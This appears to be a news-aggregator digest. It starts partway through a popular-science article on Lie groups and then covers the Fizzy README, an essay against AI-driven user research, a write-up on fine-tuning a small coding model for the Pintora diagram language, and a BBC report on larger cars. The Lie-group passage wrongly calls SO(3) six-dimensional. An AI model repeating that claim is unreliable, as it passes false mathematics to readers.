    These symmetries are discrete: They form a set of distinct transformations that have to be applied in separate, unconnected steps. But you can also study continuous symmetries. It doesn’t matter, for instance, if you spin a Frisbee 1.5 degrees, or 15 degrees, or 150 degrees — you can rotate it by any real number, and it will appear the same. Unlike the triangle, it has infinitely many symmetries.

    These rotations form a group called SO(2). “If you have just a reflection, OK, you have it, and that’s good,” said Anton Alekseev , a mathematician at the University of Geneva. “But that’s just one operation.” This group, on the other hand, “is many, many operations in one package” — uncountably many.

    Each rotation of the Frisbee can be represented as a point in the coordinate plane. If you plot all possible rotations of the Frisbee in this way, you’ll end up with infinitely many points that together form a circle.

    This extra property is what makes SO(2) a Lie group — it can be visualized as a smooth, continuous shape called a manifold. Other Lie groups might look like the surface of a doughnut, or a high-dimensional sphere, or something even stranger: The group of all rotations of a ball in space, known to mathematicians as SO(3), is a six-dimensional tangle of spheres and circles.

    Whatever the specifics, the smooth geometry of Lie groups is the secret ingredient that elevates their status among groups.

    Off on a Tangent

    It took time for Marius Sophus Lie to make his way to mathematics. Growing up in Norway in the 1850s, he hoped to pursue a military career once he finished secondary school. Instead, forced to abandon his dream due to poor eyesight, he ended up in university, unsure of what to study. He took courses in astronomy and mechanics, and flirted briefly with physics, botany and zoology before finally being drawn to math — geometry in particular.

    In the late 1860s, he continued his studies, first in Germany and then in France. He was in Paris in 1870 when the Franco-Prussian War broke out. He soon tried to leave the country, but his notes on geometry, written in German, were mistaken for encoded messages, and he was arrested, accused of being a spy. He was released from prison a month later and quickly returned to math.

    In particular, he began working with groups. Forty years earlier, the mathematician Évariste Galois had used one class of groups to understand the solutions to polynomial equations . Lie now wanted to do the same thing for so-called differential equations, which are used to model how a physical system changes over time.

    His vision for differential equations didn’t work out as he’d hoped. But he soon realized that the groups he was studying were interesting in their own right. And so the Lie group was born.

    The manifold nature of Lie groups has been an enormous boon to mathematicians. When they sit down to understand a Lie group, they can use all the tools of geometry and calculus — something that’s not necessarily true for other kinds of groups. That’s because every manifold has a nice property : If you zoom in on a small enough region, its curves disappear, just as the spherical Earth appears flat to those of us walking on its surface.

    To see why this is useful for studying groups, let’s go back to SO(2). Remember that SO(2) consists of all the rotations of a Frisbee, and that those rotations can be represented as points on a circle. For now, let’s focus on a sliver of the circle corresponding to very small rotations — say, rotations of less than 1 degree.

    Here, the curve of SO(2) is barely perceptible. When a Frisbee rotates 1 degree or less, any given point on its rim follows a nearly linear path. That means mathematicians can approximate these rotations with a straight line that touches the circle at just one point — a tangent line. This tangent line is called the Lie algebra.

    This feature is immensely useful. Math is a lot easier on a straight line than on a curve. And the Lie algebra contains elements of its own (often visualized as arrows called vectors) that mathematicians can use to simplify their calculations about the original group. “One of the easiest kinds of mathematics in the world is linear algebra, and the theory of Lie groups is designed in such a way that it just makes constant use of linear algebra,” said David Vogan of the Massachusetts Institute of Technology.

    Say you want to compare two different groups. Their respective Lie algebras simplify their key properties, Vogan said, making this task much more straightforward.

    “The interaction between these two structures,” Alessandra Iozzi , a mathematician at the Swiss Federal Institute of Technology Zurich, said of Lie groups and their algebras, “is something that has an absolutely enormous array of consequences.”

    The Language of Nature

    The natural world is full of the kinds of continuous symmetries that Lie groups capture, making them indispensable in physics. Take gravity. The sun’s gravitational pull on the Earth depends only on the distance between them — it doesn’t matter which side of the sun the Earth is on, for instance. In the language of Lie groups, then, gravity is “symmetric under SO(3).” It remains unchanged when the system it’s acting on rotates in three-dimensional space.

    In fact, all the fundamental forces in physics — gravity, electromagnetism, and the forces that hold together atomic nuclei — are defined by Lie group symmetries. Using that definition, scientists can explain basic puzzles about matter , like why protons are always paired with neutrons, and why the energy of an atom comes in discrete quantities.

    In 1918, Emmy Noether stunned mathematicians and physicists by proving that Lie groups also underlie some of the most basic laws of conservation in physics. She showed that for any symmetry in a physical system that can be described by a Lie group, there is a corresponding conservation law. For instance, the fact that the laws of physics are the same today as they were yesterday and will be tomorrow — a symmetry known as time translation symmetry, represented by the Lie group consisting of the real numbers — implies that the universe’s energy must be conserved, and vice versa. “I think, even now, it’s a very surprising result,” Alekseev said.

    Today, Lie groups remain a vital tool for both mathematicians and physicists. “Definitions live in mathematics because they’re powerful. Because there are a lot of interesting examples and they give you a good way to think about something,” Vogan said. “Symmetry is everywhere, and that’s what this stuff is for.”

    37 Signals open-sources Fizzy

    Lobsters
    github.com
    2025-12-03 19:07:03
    Comments...
    Original Article

    Fizzy

    This is the source code of Fizzy , the Kanban tracking tool for issues and ideas by 37signals .

    Development

    Setting up

    First, get everything installed and configured with:

    bin/setup
    bin/setup --reset # Reset the database and seed it

    And then run the development server:

    You'll be able to access the app in development at http://fizzy.localhost:3006 .

    To login, enter david@37signals.com and grab the verification code from the browser console to sign in.

    Running tests

    For fast feedback loops, unit tests can be run with:

    The full continuous integration tests can be run with:

    Database configuration

    Fizzy works with SQLite by default and supports MySQL too. You can switch adapters with the DATABASE_ADAPTER environment variable. For example, to develop locally against MySQL:

    DATABASE_ADAPTER=mysql bin/setup --reset
    DATABASE_ADAPTER=mysql bin/ci

    The remote CI pipeline will run tests against both SQLite and MySQL.

    Outbound Emails

    You can view email previews at http://fizzy.localhost:3006/rails/mailers .

    You can enable or disable letter_opener to open sent emails automatically with:

    Under the hood, this will create or remove tmp/email-dev.txt .

    Deployment

    We recommend Kamal for deploying Fizzy. This project comes with a vanilla Rails template. You can find our production setup in fizzy-saas .

    Web Push Notifications

    Fizzy uses VAPID (Voluntary Application Server Identification) keys to send browser push notifications. You'll need to generate a key pair and set these environment variables:

    • VAPID_PRIVATE_KEY
    • VAPID_PUBLIC_KEY

    Generate them with the web-push gem:

    vapid_key = WebPush.generate_key
    
    puts "VAPID_PRIVATE_KEY=#{vapid_key.private_key}"
    puts "VAPID_PUBLIC_KEY=#{vapid_key.public_key}"

    SaaS gem

    37signals bundles Fizzy with fizzy-saas , a companion gem that links Fizzy with our billing system and contains our production setup.

    This gem depends on some private git repositories and it is not meant to be used by third parties. But we hope it can serve as inspiration for anyone wanting to run fizzy on their own infrastructure.

    Contributing

    We welcome contributions! Please read our style guide before submitting code.

    License

    Fizzy is released under the O'Saasy License .

    The only winning move is not to play

    Hacker News
    gregg.io
    2025-12-03 19:00:03
    Comments...
    Original Article

    Let’s not debase ourselves as user researchers further

    The premise and value of human-centered research is that subject matter experts apply their skills to the design of studies that uncover relevant information from appropriate research participants in service of organizational goals. Every concession we make in the name of efficiency or innovation that removes humanity from this process is debasement and a step toward irrelevance.

    What is the role of the user researcher if we offload both users and research to generative AI platforms and tools? Once you use prompts or mash buttons to generate an end-to-end research plan; or automate synthetic or AI interviews, surveys, or prototype tests; or generate personas, jobs-to-be-done, insights, product recommendations, or a marketing plan, then what the fuck is your unique value? What are you when you offload your craft and expertise to a simulation in the name of innovation or efficiency? What makes you anything less than redundant?

    AI is fantastic for pattern recognition, with realized benefits in medical imaging analysis. It’s great at statistical modeling and multivariate analysis! But the very best possible outcome from outsourcing research expertise to LLMs is an average result (non-gated overview of that academic article here ). While it sounds pragmatic or “better than nothing” for researchers and the orgs that employ them to lean on AI for research, it also leads everyone to the exact same average quality results and removes the differentiation that leads to innovation or unique experiences.

    If organizations want to stand out in crowded marketplaces, asking for run-of-the-mill research advice from a bot over trusting subject-matter experts sure does sound like self-sabotage. And the sabotage is doubly so for the researchers who embrace the tools that will serve as their replacements.

    But Gregg, this is how the profession is evolving

    Says who? The executives who never cared about research in the first place? The PMs who never had the patience to wait for quality research results? The investors and tech companies that need (literal) buy-in? The tools and platforms with a vested interest in selling AI research as something that literally anyone in an org can do? Actually…

    But this is how research is done today

    Bullshit: this is how user research is marketed today. For the past 15 years platforms like Usertesting and UserZoom (before they were both acquired by the same private equity company and merged to form a near-monopoly in the enterprise research space) positioned themselves as tools for design and product teams to “become customer-centric” and “listen to the voice of the user.” The value proposition was that orgs could use these platforms either as an add-on to existing research and design practices or before they had an in-house research expert.

    Today tooling platforms see an opportunity to sell AI-assisted research tools to organizations as an alternative to hiring research experts . When 80% of the sponsors of a large user research conference are selling tools that replace user researchers with AI in the name of democratization, we’re not the customers; we’re marks. If your business model relies on seat licenses, it’s much more profitable to sell a tool that makes everyone a researcher rather than a tool that supports a dwindling number of researchers.

    But marketing isn’t reality. Just because a handful of user research thought leaders who should know better were paid to run and promote studies using AI research tools without disclosing the sponsorship in their breathless LinkedIn posts doesn’t necessarily mean these are the tools your organization should adopt. In fact, an undisclosed sponsorship is a good way to create the illusion that a product is gaining widespread adoption by experts, which is why the Federal Trade Commission regulates against it .

    If I use a tool and tell you about it, that’s a recommendation. But if I am paid a fee to use a product and then tell you about it, that’s different—that’s a sponsorship. Then I’m no longer a researcher recommending a tool—I’m an influencer peddling sponsored content. If a product resorts to shady advertising practices that requires a pliant thought leader’s complicity in constructing a Potemkin industry, maybe the whole enterprise is rotten .

    This is also why ethics statements are important. Let’s uphold some professional standards lest we become grifters.

    But regular (i.e., rigorous) research takes too long

    For who? What product decision is so important that planning and spending time with users is not viable? Better yet, what product decision wouldn’t benefit from time with flesh and blood humans to gain context, mitigate risks, and zero in on the right thing?

    Every research planning decision is a tradeoff between time and confidence—a good researcher can always learn something within a given time period and budget. But frequently the problem is that neither time period nor budget factor into the arbitrary milestones and deadlines a group of people place on a calendar.

    If that group of people repeatedly fails to include enough time for research, I’d argue that they might not value research in the first place . Shoehorning a half-assed generative AI research effort into an unreasonable project window isn’t going to make you look like a team player nor make people see the value of research; it’s only going to validate that research should never require time (nor researchers).

    Going further, for the founders and executives who never believed in user research, AI research is a way to skip doing research entirely while presenting the veneer of “listening” to their users. When user researchers adopt AI research tools it not only debases their contributions to understanding users, it also reinforces the notion that you don’t really need to do user research to seem human-centric.

    But AI lets us 10x our research efficiency

    Are you listening to yourself? You sound like every bad AI-generated post on LinkedIn now. I said earlier that the work of research can be optimized to fit time and organizational constraints, but that’s not the “efficiency” I see being adopted now:

    • I fed Claude some survey results and asked it to create unique one-pagers for my executive, product, and design partners. An expert might be able to get away with this one time because they can evaluate the validity and quality of the one-pager (though why you’d rather proofread the work of an LLM than create something original is beyond me). But once you cross this chasm, you’ve demonstrated that this is how research can be summarized and shared… by anyone with access to Claude. You’ve made yourself—and those with your job title—dispensible.
    • We created a gem for designers to get started with their own research without having to work with a researcher. Right—because the problem was never that asking designers to take on an entirely different job in addition to design but without additional time was too much to ask. The problem was having to collaborate with a living and breathing research expert.

    But there’s still a human in the loop!

    Research is already a human-to-human loop, with meaning conveyed by participants and contextualized by researchers. Adding a human back to what was already a perfectly functional loop doesn’t enrich anything and only adds inefficiencies—even the people who review LLM answer quality warn against using LLMs for accurate answers.

    Personally, I transitioned from design and design education to user research because I was—and still am—blown away that I could learn from other humans as my job . A more religious person might say I’ve been blessed to earn a living by talking to writers, readers, editors, small business owners, designers, agencies, and more in support of organizations who build products for these groups.

    But it’s not just that I enjoy practicing research—I’m good at it. User researchers are experts at it. Why would I reduce myself to quality control on a slop assembly line and then, with my whole chest, tell people I am the human in the loop? Why should we debase ourselves by implying that our expertise is replaceable?

    Maybe you just hate or don’t get AI

    Au contraire! AI can be magical (especially in medical imaging and programming). I used Gemini to update a SQL query recently at the encouragement of a data science peer. I use a product called Granola (not a paid mention, fwiw) for call transcription, notes organization, and pulling up quotes. I work with designers who spin up prototypes with Figma Make that I then test with humans. I work with engineers who use AI for spam mitigation and trust and safety tasks. Jess Holbrook smartly advocated for using AI to take a dissent pass on research artifacts and to challenge yourself and your findings.

    What I don’t do is use generative AI or LLMs to spit out an entire research plan, synthesize hours of interviews, or conduct my interviews for me (?!). One reason why I don’t do any of these is that generative AI can’t replace the meaning-making that human researchers do. Why would we even want to use AI to replace the tasks that humans are uniquely good at, or the tasks that humans enjoy, or the tasks that connect us to other humans? To me the personal connection is the best part of being a user researcher or user-centered designer!

    This is what gets my goat: AI has many useful applications. This moment in time really is akin to the start of the internet era, in that AI has broken containment and entered mainstream conversation (in no small part due to marketing hype centered on illogical use cases). However, the hype has created acolytes with an ill-fitting solution to the non-existent problem of how to study humans better .

    You sound like a Luddite

    The Luddites were not anti-progress; they were pro-worker. Automation increased production but eliminated jobs, lowered wages, and reduced quality. Sound familiar?

    Researchers already document findings at a faster velocity than orgs can act on them. It strains credulity that tech leaders are clamoring for even more yet worse findings.

    The folks extolling the virtues of offloading critical research tasks to faulty tech are eroding not just the value of an entire professional class but of human curiosity and knowledge. Listen to Billy Bragg , support unions, and always stand on the side of workers… especially when replacing them with unreliable facsimiles helps no one but the people who stand to profit from such a move.

    So what do we do?

    This is a scary time! There have been thousands upon thousands of tech workers—including researchers—laid off in the last couple of years in the name of progress who kept their heads down, did quality work, and earned wonderful performance reviews. Going along just to get along didn’t earn anyone a reprieve. So it’s not like we have anything to lose by advocating for ourselves.

    The only people who stand to gain the most from the adoption of generative AI research platforms and practices are those who claim it makes research better and those whose job depends on that belief. These claims are self-promoting narratives, sponsored content, or both.

    My move is not to play the game of debasing ourselves in the name of progress. Just because a bunch of smart people say that “this is the future” doesn’t mean they’re right, as we just saw with web3, crypto, and NFTs. No one can predict the future (despite what NPS proponents might say).

    I didn’t enter this field and take this type of job only to not do the job . My red line is conceding the things I am—we are—uniquely good at to a product, platform, or bot. My red line is trading in the parts of the job I am both an expert in and enjoy for tasks that make the job something else entirely.

    What is your red line?

    End hits

    • No part of this blog post used AI. I like writing—it helps me think; I like thinking—it helps me write.
    • However, my human friends and fellow researchers Meghan Cetera, Joey Jakob, and Gabe Trionfi generously provided feedback and further reading recommendations, for which I am grateful.
    • For more on humans in the loop, read Pavel Samsonov’s ‘Human in the loop’ is a thought-terminating cliche .
    • The title of this post comes from the movie WarGames , in which a supercomputer learns about futility and no-win scenarios.

    Teaching an LLM a Niche Diagraming Language

    Lobsters
    huy.rocks
    2025-12-03 18:56:29
    I did an experiment to train Qwen2.5-Coder-7B on a niche diagraming language, and the model was able to generate syntactically correct code 86% of the time. This post outlined the process and decisions I took during the training process. I think it might be helpful to share it here to get feedback, ...
    Original Article

    Text-to-diagram seems to be an area that has been solved perfectly by LLMs, but only with popular languages like Mermaid or PlantUML. There are many other less popular diagramming languages like D2, Structurizr, or Pintora. I want to see how far I can go teaching an LLM one of these languages, and Pintora seems like a nice option to pick because I know there will not be a lot of LLMs trained with this language. At least, not the small ones.

    Project goal

    So, I set out the goal for this training project. It will be an LLM that has the ability to work with Pintora diagrams, for the following tasks:

    • Generating diagrams from scratch
    • Editing any existing diagram

    Picking the base model

    I also limit the scope of this project to models that are smaller than 30B, simply because I do not have enough resources to train anything bigger than that.

    Having experimented with 4B models and smaller, I found that these models are not really suitable for either a code-generating task or instruction following in a long conversation. A 7B-14B would be a good choice. I also want to base it off a coding model, hoping that it will be, well, code-smart.

    Gemma-3 only has 4B and 27B. The smallest Codestral model is 22B. Ministral 3 was not released until 3 days after the writing of this post. I don’t want to deal with thinking mode, so Qwen3 is also out of the list. After a lot of consideration, I picked Qwen2.5-Coder-7B. In 2025, it’s like centuries old in terms of LLM-years, but whatever.

    To confirm that Qwen2.5-Coder does not have any knowledge of Pintora, I tried to run it with the following prompt:

    create a pintora component diagram for a website like twitter
    

    And yes, the model proceeded to generate a very well-made… PlantUML diagram:

    Below is a component diagram using Pintora syntax. You can copy and paste this into a Pintora editor to visualize it.
     
    @startuml
    !define RECTANGLE class
     
    title Twitter Component Diagram
     
    RECTANGLE "User Interface" as UI {
      RECTANGLE "Header" as Header
      RECTANGLE "Footer" as Footer
      ...
    

    The training plan

    Since we’re teaching the model a new language, we will need to train in two phases:

    • Phase 1: Continued Pretraining (CPT) - We will feed the model a bunch of Pintora diagrams, so the model can learn the language’s syntax, recognize grammar structure, etc.
    • Phase 2: Instruction Finetune (IFT) - Then we will train the model on some diagram generating/editing instructions, so it can learn how to use the new language’s knowledge on specific tasks.

    I will use Unsloth’s training notebook , since it supports 4-bit quantized LoRA training, that helped training faster and using less memory.

    Data preparation

    First thing’s first, I need a dataset that I can use in both the CPT and IFT phases. I will go for the minimum amount of data needed (around 1000-1500 rows).

    Pintora supports different kinds of diagrams: Sequence, ER, Component, Activity, Mindmap, Gantt, Class,… I will need a diverse number of data for each case, so that’s about 150-200 rows per diagram type.

    I want the model to have an ability to either generate a diagram from scratch or edit an existing diagram, so the dataset should also contain some examples that have an input diagram.

    The plan is, each row will contain three fields:

    • instruction : the description of what type of diagram the user wants to create
    • input : an optional input diagram code for editing
    • output : the final output code that the model should generate

    With that clear plan, I started typing out each row, and after about 5 rows, I gave up… This kind of labor is not productive at all!

    Why not just grab some code that people already created? I started searching on Github to see how much Pintora code there is. Not much, there were like 5 or 6 repositories that had some diagram code. Also, I don’t like the idea of stealing someone’s code without asking for their permission, not to mention, if I actually asked, I’m not sure how many of them would respond.

    So, the last resort is to generate training data using AI! There’s not much to talk about this step. The trick is to write an over-detailed prompt that includes all the syntax documentation, examples,… then some patience to beg the AI agent every 50 entries, threatening it that an alien Godzilla will destroy the Golden Gate Bridge if it’s not completing its job.

    At the end of the begging process, I ended up with about 2000 data entries. The result was not great at all, both Gemini 3 Pro and Claude Sonnet 4.5 generated a lot of syntactically incorrect code and a lot of duplicated entries.

    To clean it up, I wrote a script to merge every row that has the same output column into one, and then, for each row, use the @pintora/cli tool to render the actual diagram, removing any rows where the output code cannot be used.

    In the end, I was left with 1000 rows for CPT and 500 rows for IFT. If you are interested, they are available on Hugging Face, links are at the bottom of the post.

    Training

    I started the training process on Google Colab (using a single 16GB T4 GPU) and quickly ran into an OOM issue. The situation was not getting any better with Kaggle’s 2xT4 GPUs. So I ended up renting a 48GB A40 on Runpod for $0.4/hr.

    It turned out that even for a 7B model with 4-bit QLoRA, my training script took about 19.33GB of VRAM to run, which was too much for 16GB of a T4 (the actual available VRAM was even less than that). But it was an unnecessary problem.

    Theoretically, since Pintora language still uses keywords that already exist in most English-based programming languages, the model did not need to learn any new tokens. I could save about 5GB-6GB of VRAM needed by removing the embed_tokens and lm_head from the target_modules .

    model = FastLanguageModel.get_peft_model(
        model,
        r = 64, 
        target_modules = [
            "q_proj", "k_proj", "v_proj", "o_proj", 
            "gate_proj", "up_proj", "down_proj",
            "embed_tokens", "lm_head", # could have removed this
        ],
        lora_alpha = 64,
        lora_dropout = 0.05,
        use_gradient_checkpointing = "unsloth",
        ...
    )
    

    Back to the training process. After the CPT phase, I ran a test to see how well the model learned the syntax.

    Since it started to pick up some syntax characteristic of Pintora, the diagram code is still syntactically incorrect.

    In the next step, I loaded the pintora-edit-instruct dataset, with each entry formatted with this edit_prompt , and started the IFT phase.

    edit_prompt = """Pintora Diagram Edit Instruction
     
    ### Instruction:
    {instruction}
    {input}
     
    ### Response:
    {output}
    """
    

    After this step, the model already learned to generate more accurate and syntactically correct code, for both generating from scratch and editing tasks.

    Generate diagram from scratch

    Editing existing diagram

    So to this point, I have successfully taught Qwen2.5-Coder how to generate Pintora diagrams instead of spitting out random Mermaid/PlantUML diagrams. But how well has it learned?

    Evaluation for accuracy

    To quickly evaluate the accuracy of the generated diagram (not the quality), I vibed created a script to use the model to generate with some randomized prompts:

    ...
     
    entities = [
        'User', 'Client', 'WebApp', 'Backend', 'Server', 'Database', 'AuthService',
        'PaymentGateway', 'Cache', 'Redis', 'Worker', 'TaskQueue', 'Frontend',
        'API Gateway', 'OrderSystem', 'Inventory', 'NotificationSvc', 'Logger', 'MetricsSvc'
    ]
    actions = [
        'requests login', 'fetches data', 'updates record', 'processes payment',
        'validates token', 'sends email', 'renders view', 'queries index',
        'health check', 'ack signal', 'authenticates user', 'writes to log',
        'queries for user profile', 'returns 200 OK', 'returns 404 Not Found',
        'submits form', 'enqueues job', 'dequeues job', 'generates report'
    ]
    diagram_types = ['sequenceDiagram', 'componentDiagram', 'activityDiagram']
     
    def create_from_scratch_task():
        d_type = random.choice(diagram_types)
        num_interactions = random.randint(1, 3)
        interactions = []
        for _ in range(num_interactions):
            src, dst = random.sample(entities, 2)
            action = random.choice(actions)
            interactions.append(f"{src} {action} to {dst}")
        prompt_desc = ", and then ".join(interactions)
        instruction = f"Create a {d_type} that shows: {prompt_desc}."
        output_code = model.generate(instruction)
        return [instruction, "", output_code]
     
    for i in range(1000):
        create_from_scratch_task()
        ...
    

    Some example result:

    instruction input output
    Create a activityDiagram that shows: PaymentGateway returns 404 Not Found to… activityDiagram start :Worker requests PaymentGateway; if (PaymentGateway returns 404)…
    Add a step where User health check to MetricsSvc. sequenceDiagram Cache->>User: enqueues job sequenceDiagram Cache->>User: enqueues job User->>MetricsSvc: health check
    Add a step where PaymentGateway health check to Inventory. sequenceDiagram Worker->>PaymentGateway: enqueues job sequenceDiagram Worker->>PaymentGateway: enqueues job PaymentGateway->>Inventory: health check

    Then, I use the same technique in the data preparation step, deduplicate the result, and parse each output code with the @pintora/cli command.

    In the end, out of 996 diagrams, we have 139 diagrams with syntax errors and 857 diagrams successfully rendered. That gives us 86% accuracy, not bad for such a really small amount of training data.

    Final thoughts

    There were a lot of learnings for me during this experiment, and countless mistakes that I could have done better, but ultimately, I had a lot of fun. Maybe I’ll try to tackle the accuracy next with RL, I heard many good and bad things about it and I must give it a try.

    I am also interested in this music programming language called Strudel , and it would be fun to train an LLM for it.

    In the meantime, if you are interested, here’s the model (with GGUF) and the datasets, as well as the eval result below:

    Model:

    Dataset:

    Eval result:

    Now it's time for an ad if you don't mind ;) If you want to try AI-assisted diagramming yourself, check out my project, ChatUML . It's designed to turn text into diagrams instantly. You can grab 60% off right now using the code PINTORA !

    'Carspreading' is on the rise – and not everyone is happy about it

    Hacker News
    www.bbc.co.uk
    2025-12-03 18:56:22
    Comments...
    Original Article

    A treated image showing a large car next to a small one

    Listen to this article

    Critics call it "carspreading". In the UK and across Europe, cars are steadily becoming longer, wider and heavier. Consumers clearly like them – a lot. Big cars are seen as practical, safe and stylish, and sales are growing. So, why are some cities determined to clamp down on them - and are they right to do so?

    Paris is renowned for many things. Its monuments, such as the Eiffel Tower and Arc de Triomphe. Its broad, leafy avenues and boulevards, its museums and art galleries, its fine cuisine. And its truly appalling traffic.

    Over the past 20 years, the city authorities have been trying to tackle the problem, by introducing low-traffic and low-emission zones, by promoting public transport and cycling – and most recently by clamping down on big cars.

    In October 2024 on-street parking charges for visiting "heavy" vehicles were trebled following a public vote, taking them from €6 to €18 for a one-hour stay in the centre, and from €75 to €225 for six hours.

    "The larger it is, the more it pollutes," said the mayor of Paris, Anne Hidalgo, before the vote. The new restrictions, she claimed, would "accelerate the environmental transition, in which we are tackling air pollution".

    A few months later, the town hall claimed the number of very heavy cars parking on the city streets had fallen by two-thirds.

    Traffic on the Champs Elysee near the Arc de Triomphe in Paris, France

Image source, Bloomberg via Getty Images

    Image caption,

    Paris is renowned for many things - including bad traffic in certain areas

    Cities elsewhere are taking note, including in the UK. Cardiff council has already decided to increase the cost of parking permits for cars weighing more than 2,400kg - the equivalent of roughly two Ford Fiestas.

    The Labour-controlled authority said, "These heavier vehicles typically produce more emissions, cause greater wear and tear on roads, and critically pose a significantly higher risk in the event of a road traffic collision."

    To begin with, the higher charges will only apply to a small minority of vehicle models, but Cardiff plans to lower the weight threshold over time. Other local authorities are mulling similar steps.

    Anne Hidalgo, Mayor of Paris, in Paris, France Image source, AFP via Getty Images

    Image caption,

    'The larger it is, the more it pollutes,' argued Paris mayor, Anne Hidalgo

    But many owners say they are reliant on big cars.

    Matt Mansell, a father of three based in Guildford, runs a technology company, as well as a property development business, and says he needs his Land Rover Defender 110 for ferrying around clients and children.

    "I need to have enough space to put children in, with all of their kit - also, you can fit a door or a three-metre length of pipe in it," he says.

    "It's very much a utility vehicle, but it's presentable."

    'Chelsea tractors': Rise of the SUV

    There is no question cars in the UK and Europe have been getting bigger over the years. Since 2018, the average width of new models on sale here has risen from 182cm to 187.5cm, according to data from Thatcham Research – an organisation that evaluates new cars on behalf of the insurance industry.

    The average weight, meanwhile, has increased from 1,365kg to 1,592kg over the same period.

    This is not just a recent phenomenon. Data compiled by the International Council for Clean Transportation shows the average width of cars on European markets grew by nearly 10cm between 2001 and 2020. Length increased by more than 19cm.

    Some critics argue this is a worrying trend, because there simply isn't enough room on Britain's crowded, often narrow roads or in town centres.

    Vehicles try to squeeze past each other in the narrow road and lanes at Porthcurno in Cornwall, England
Image source, Getty Images

    Image caption,

    Are cars getting bigger, or are roads getting narrower?

    The standard minimum width of an on-street parking space is 1.8m in many places. But figures published by T&E, a green transport campaign group, suggest that by the first half of 2023, more than half of the 100 top-selling cars in the UK were fractionally wider than this.

    Then there is the rocketing popularity of Sports Utility Vehicles, or SUVs, cars that are at least loosely based on off-road vehicles, although in many cases the resemblance is cosmetic, and they lack genuine off-road features such as four-wheel drive.

    The vast majority will never stray far from the tarmac, hence their rather derisory nickname: Chelsea tractors.

    There are plenty of different designs out there, including utility models that you can actually use off road, swanky status symbols and legions of suburban family wagons.

    What they all they have in common, however, is size. Even the smaller "crossover" versions, more closely related to conventional cars, tend to be taller and wider than traditional saloons, hatchbacks or estates.

    Back in 2011, SUVs made up 13.2% of the market across 27 European countries, according to the automotive research company Dataforce GmbH. By 2025, their market share had grown to 59%.

    Rachel Burgess, editor of Autocar magazine, believes it is their size that makes them so popular. "Everyone I've spoken to over the years who has bought an SUV says they like being higher up, they like better visibility, and they feel safer on motorways and bigger roads.

    "It's often better for people with kids to get them in and out of the car with that extra height; and also, for people who are less mobile, it's much easier to get in and out of an SUV than a lower hatchback or saloon."

    Lucia Barbato with her car

    Image caption,

    Lucia Barbato: 'On a Monday morning with three boys, three school bags, three sports kits, and a trumpet thrown in the boot, there isn't even room in the car for the dog!'

    Lucia Barbato, from West Sussex, says her second-hand Lexus RX450 SUV - a hybrid model - is vital for transporting her large family in an area with limited public transport. She runs a marketing agency from home and drives her three sons to the bus stop each day, so they can go to school.

    "On a Monday morning with three boys, three school bags, three sports kits, and a trumpet thrown in the boot there isn't even room in the car for the dog!"

    Bigger cars, bigger profit margins?

    The popularity of SUVs doesn't just apply to mass-market carmakers. Porsche is famous for its sleek sports cars but the Cayenne SUV and the Macan crossover are its bestselling models.

    Bentley's Bentayga SUV accounted for 44% of its sales last year, while Lamborghini is increasingly reliant on its four-wheel drive Urus.

    Put bluntly, consumers clearly love SUVs. Carmakers, meanwhile, are only too happy to meet that demand, because building bigger cars can be more profitable, argues David Leggett, editor of industry intelligence website Just Auto.

    On the left a Porsche Macan compact performance crossover SUV and on the right is a 2008 Porsche Cayenne Turbo 

Image source, Getty Images and Bloomberg via Getty Images

    Image caption,

    Porsche is famous for its sports cars but the Cayenne and the Macan crossover are its bestselling models

    "Profit margins are generally much higher on larger cars with higher price points. This is largely due to the laws of economics in manufacturing."

    There are, he points out, fundamental costs involved in building any car - for example operating a factory, design work, and the price of the main components.

    But he explains that with small cars, these costs can make up a higher proportion of the selling price.

    Daniele Ministeri, senior consultant at JATO Dynamics, points out that many SUVs are closely related to conventional cars, and use the same basic structures.

    "For some models, the main differences are limited to factors such as body style, suspension and seating position, allowing them to command an SUV premium price, without comparable cost increases", he says.

    The safety debate

    Even conventional cars have been getting bigger in some cases.

    Take the current VW Golf hatchback, which is 18cm wider and 26cm longer than the original version introduced in the 1970s. It is also several hundred kilograms heavier.

    A Volkswagen Golf from the 1970s next to a 2025 version

    "If we look back to the early 2000s… safety programmes like Euro NCAP were just starting to deliver the safety message to consumers, smaller vehicles weren't really able to absorb the energy of a crash very well at all," says Alex Thompson, principal safety engineer at Thatcham Research.

    "As safety measures have improved, a certain amount of weight had to be added on to vehicles to strengthen up safety compartments because they weren't that strong back then."

    "Manufacturers have had to do things like improve structural crash protection, and fit more airbags," agrees David Leggett.

    "At the same time, they want to improve interior cabin space and put more features into vehicles, so the net result is rising pressure for bigger vehicle dimensions."

    More from InDepth

    Yet while bigger cars may be safer for their occupants, critics insist they are considerably less safe for other road users.

    "Whether you're in another car [or] a pedestrian, you're more likely to be seriously injured if there's a collision with one of these vehicles," argues Tim Dexter, vehicles policy manager at T&E. He is also concerned about the implications for cyclists.

    Research carried out in 2023 by Belgium's Vias Institute, which aims to improve road safety, suggested that a 10cm increase in the height of a car bonnet could increase the risk of vulnerable road users being killed in a collision by 27%. T&E also highlights concerns that high bonnets can create blind spots.

    Alex Thompson says that taller, higher cars are more likely to harm pedestrians and cyclists, although he emphasises that vehicle design in recent years has "really prioritised" protecting vulnerable road users.

    Some manufacturers have, for example, fitted external airbags to their vehicles.

    A beige Fiat 500 classic car in a parking bay Image source, In Pictures via Getty Images Images

    Image caption,

    David Leggett believes people could potentially be encouraged to buy smaller vehicles

    As for the environmental impact, the International Energy Agency has said: "Despite advances in fuel efficiency and electrification, the trend toward heavier and less efficient vehicles such as SUVs, which emit roughly 20% more emissions than an average medium-sized car, has largely nullified the improvements in energy consumption and emissions achieved elsewhere in the world's passenger car fleet in recent decades."

    The move towards electric vehicles should at least mitigate emissions from daily use significantly over time, although if the electricity they use is generated from fossil sources such as gas, bigger cars may well still pollute more per vehicle than smaller ones.

    And other concerns about size and weight will still apply – in fact, with electric cars generally weighing considerably more than their petrol or diesel equivalents, certain problems could be magnified.

    The Society of Motor Manufacturers and Traders says that 40% of SUVs are now zero-emission.

    Its chief executive, Mike Hawes, has previously said that overall the carbon dioxide emissions of new SUVs have more than halved since 2000, "helping the segment lead the decarbonisation of UK road mobility".

    Penalties, taxes and the France model

    But if there is to be a clampdown, one option is what has already been done across the Channel.

    France already imposes extra registration taxes on cars that weigh in at more than 1,600kg. Currently, this means a €10 (£9) penalty for every extra kilogramme. The penalty increases in bands, reaching €30 per kg above 2,100kg.

    While it only applies to a relatively small proportion of current models – and electric vehicles are excluded – it can add up to €70,000 to the cost of buying a new car.

    T&E argues that a similar levy should be introduced in the UK. According to Tim Dexter, "At the moment the UK is a tax haven for these large vehicles… We know the impact they are having on the road, on communities, potentially on individuals. It's only fair they should be paying a bit more."

